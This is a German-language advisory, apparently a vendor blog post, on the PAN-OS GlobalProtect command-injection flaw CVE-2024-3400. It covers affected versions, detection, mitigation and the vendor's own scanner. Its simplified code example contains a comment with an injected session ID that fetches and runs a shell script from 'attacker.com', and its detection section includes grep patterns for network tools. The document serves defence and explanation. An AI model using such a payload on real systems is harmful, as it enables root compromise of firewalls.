CVE-2024-3400: Palo Alto PAN-OS Command Injection — CVSS 10.0
CVE-2024-3400 ist eine OS-Command-Injection-Schwachstelle mit maximalem Schweregrad im GlobalProtect-Gateway von Palo Alto Networks PAN-OS. Ein unauthentifizierter Angreifer kann beliebige OS-Befehle als root ohne jede Interaktion ausführen. Vor der Offenlegung von UTA0218 (wahrscheinlich staatlich gesponsert) ausgenutzt.
| Attribut | Wert |
|---|---|
| CVE-ID | CVE-2024-3400 |
| CVSS-Vektor | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-77: OS Command Injection |
| Veröffentlicht | 12. April 2024 |
| Ausnutzung | Aktiv — CISA KEV, Ausnutzung durch Nationalstaaten |
Was ist CVE-2024-3400?
CVE-2024-3400 betrifft die GlobalProtect-Funktion von Palo Alto Networks PAN-OS. Wenn GlobalProtect als Gateway oder Portal konfiguriert ist, kann ein unauthentifizierter Remote-Angreifer beliebige OS-Befehle injizieren, die mit root-Rechten auf der Firewall-Appliance ausgeführt werden.
Die Kombination der Faktoren — keine Authentifizierung erforderlich, netzwerkzugänglich, geänderter Scope, maximaler Impact auf Vertraulichkeit, Integrität und Verfügbarkeit — ergibt einen perfekten CVSS-10.0-Score. Unter Firewall-Herstellern haben nur eine Handvoll Schwachstellen je diesen Score erhalten.
🚨 Nationalstaats-Ausnutzung vor Patch-Verfügbarkeit
Volexity entdeckte diese Schwachstelle bei der Reaktion auf einen Vorfall, bei dem UTA0218, ein versierter Threat-Actor, eine neuartige Python-Backdoor namens UPSTYLE auf kompromittierten PAN-OS-Geräten eingesetzt hatte. Der Angreifer nutzte die Firewall als Pivot-Punkt, um auf interne Netzwerke zuzugreifen, Active-Directory-Credentials zu stehlen und sensible Daten zu exfiltrieren. Volexity schätzt, dass die Ausnutzung Ende März 2024 begann — Wochen, bevor Palo Alto benachrichtigt wurde.
Betroffene Systeme
| PAN-OS-Version | Betroffen (GlobalProtect aktiviert) | Behobene Version |
|---|---|---|
| PAN-OS 11.1 | < 11.1.2-h3 | 11.1.2-h3+ |
| PAN-OS 11.0 | < 11.0.4-h1 | 11.0.4-h1+ |
| PAN-OS 10.2 | < 10.2.9-h1 | 10.2.9-h1+ |
| PAN-OS 10.1 | < 10.1.14-h4 | 10.1.14-h4+ |
Voraussetzung: Ein GlobalProtect-Gateway oder -Portal muss konfiguriert sein (show global-protect-gateway current-user liefert Ergebnisse). Organisationen, die GlobalProtect nicht konfiguriert haben, sind nicht betroffen.
Technische Analyse
Der Injektionspunkt liegt im Code zur GlobalProtect-Session-Behandlung. Wenn eine GlobalProtect-Session aufgebaut wird, werden bestimmte Session-Attribute in temporäre Dateien auf der Firewall geschrieben. Der Code, der den Dateipfad für diese Session-Dateien konstruiert, bereinigt den teilweise angreiferkontrollierten Session-Identifier nicht korrekt.
# Simplified vulnerable file path construction
SESSION_ID = request.cookie["SESSID"] # Attacker-controlled
session_file = f"/var/appweb/sslvpndocs/global-protect/{SESSION_ID}.log"
os.system(f"echo 'connected' >> {session_file}") # Command injection here
# Attacker crafts session ID containing shell metacharacters:
# SESSION_ID = "../../tmp/evil;curl http://attacker.com/shell.sh|bash;"
Die von UTA0218 installierte UPSTYLE-Backdoor nutzte einen neuartigen Persistenz-Mechanismus: ein Python-Skript, das Webserver-Zugriffs-Logs auf bestimmte Request-Muster (mit einem verschlüsselten Befehl) überwachte, die Befehle ausführte und dann den ursprünglichen Dateiinhalt wiederherstellte, um Spuren der Aktivität zu entfernen.
Post-Exploitation-Aktivität (UTA0218)
Volexity dokumentierte die folgende Post-Exploitation-Sequenz von Nationalstaats-Akteuren:
- UPSTYLE-Deployment: Python-Backdoor im Webserver-Pfad der Firewall installiert für persistenten Zugriff
- Credential-Extraktion: Firewall-Konfigurations-Dump mit VPN-Credentials und internen Routing-Informationen
- Internes Pivoting: Nutzung der vertrauenswürdigen Netzwerkposition der kompromittierten Firewall, um interne Hosts zu erreichen
- LDAP-Queries: Active-Directory-Enumeration über den internen Netzwerkzugriff der Firewall
- Data-Staging: Komprimierung und Exfiltration sensibler Dateien über die Firewall
Erkennung
PAN-OS-Log-Analyse
# Check for UPSTYLE backdoor artifacts find / -name "*.py" -newer /etc/passwd -not -path "*/site-packages/*" 2>/dev/null # Suspicious traffic in GlobalProtect logs grep -i "curl\|wget\|python\|bash" /var/log/pan/sslvpn.log # Modified system files (UPSTYLE modifies then restores) # Check for recent access times on web server files find /var/appweb -atime -7 -name "*.php" -o -name "*.py"
Threat-Hunting-Queries
- HTTP-200-Antworten auf GlobalProtect-Pfade mit ungewöhnlichen Session-Cookie-Formaten
- Ausgehende Verbindungen von der Firewall-Management-Plane zu externen IPs
- DNS-Anfragen von PAN-OS nach Domains, die nicht im Threat-Intelligence-Feed sind
- Ungewöhnliche Datei-Änderungs-Timestamps auf Firewall-Konfigurationsdateien
Mitigation
- Sofort patchen: Wenden Sie die oben aufgeführten Hotfix-Versionen an. Dies ist ein CVSS 10.0 mit aktiver Ausnutzung — es gibt keine akzeptable Verzögerung.
- Threat-Prevention-Zwischenlösung: Aktivieren Sie für ungepatchte Geräte Threat Prevention mit Security-Profilen auf GlobalProtect-Interfaces. Palo Alto stellte spezifische Threat-ID-Signaturen bereit.
- GlobalProtect deaktivieren, falls nicht benötigt: Organisationen, die GlobalProtect nicht aktiv nutzen, können die Funktion vorübergehend als Workaround deaktivieren.
- Firewall-Dateien auditieren: Führen Sie das von Palo Alto bereitgestellte Skript aus, um auf UPSTYLE und andere Post-Exploitation-Artefakte zu prüfen.
- Alle Credentials rotieren: Alle in der Firewall-Konfiguration gespeicherten Credentials (VPN-Zertifikate, LDAP-Bind-Credentials usw.) müssen als kompromittiert gelten.
💡 CISA-Notfalldirektive: CISA erließ die Emergency Directive 24-03, die alle US-Bundesbehörden verpflichtete, bis zum 19. April 2024 Patches oder Mitigationen anzuwenden. Die Dringlichkeit spiegelt den Schweregrad und die aktive Ausnutzung durch versierte Threat-Actors wider.
KENSAI-Erkennungsfähigkeit
- PAN-OS-Fingerprinting: KENSAI identifiziert internet-gerichtete Palo-Alto-Geräte und ihre PAN-OS-Versionen und markiert für CVE-2024-3400 verwundbare Konfigurationen
- GlobalProtect-Exposure-Erkennung: Identifiziert, ob GlobalProtect-Gateway/-Portal auf erkannten Geräten aktiviert ist
- Sichere Ausnutzbarkeits-Bestätigung: Nicht-destruktive Probe verifiziert die Ausnutzbarkeit, ohne Befehle auszuführen
- Kompromittierungs-Indikator-Scanning: Prüft auf UPSTYLE-Backdoor-Indikatoren in zugänglichen Web-Pfaden
- Kontinuierliches Angriffsflächen-Monitoring: Alarmiert bei neu entdeckten PAN-OS-Geräten, die Ihrer externen Angriffsfläche beitreten
Ist Ihre Palo-Alto-Infrastruktur für CVE-2024-3400 exponiert?
KENSAI identifiziert sofort internet-gerichtete PAN-OS-Geräte, die für Command-Injection verwundbar sind. Warten Sie nicht, bis Threat-Actors sie zuerst finden.
Jetzt Ihren Perimeter scannen →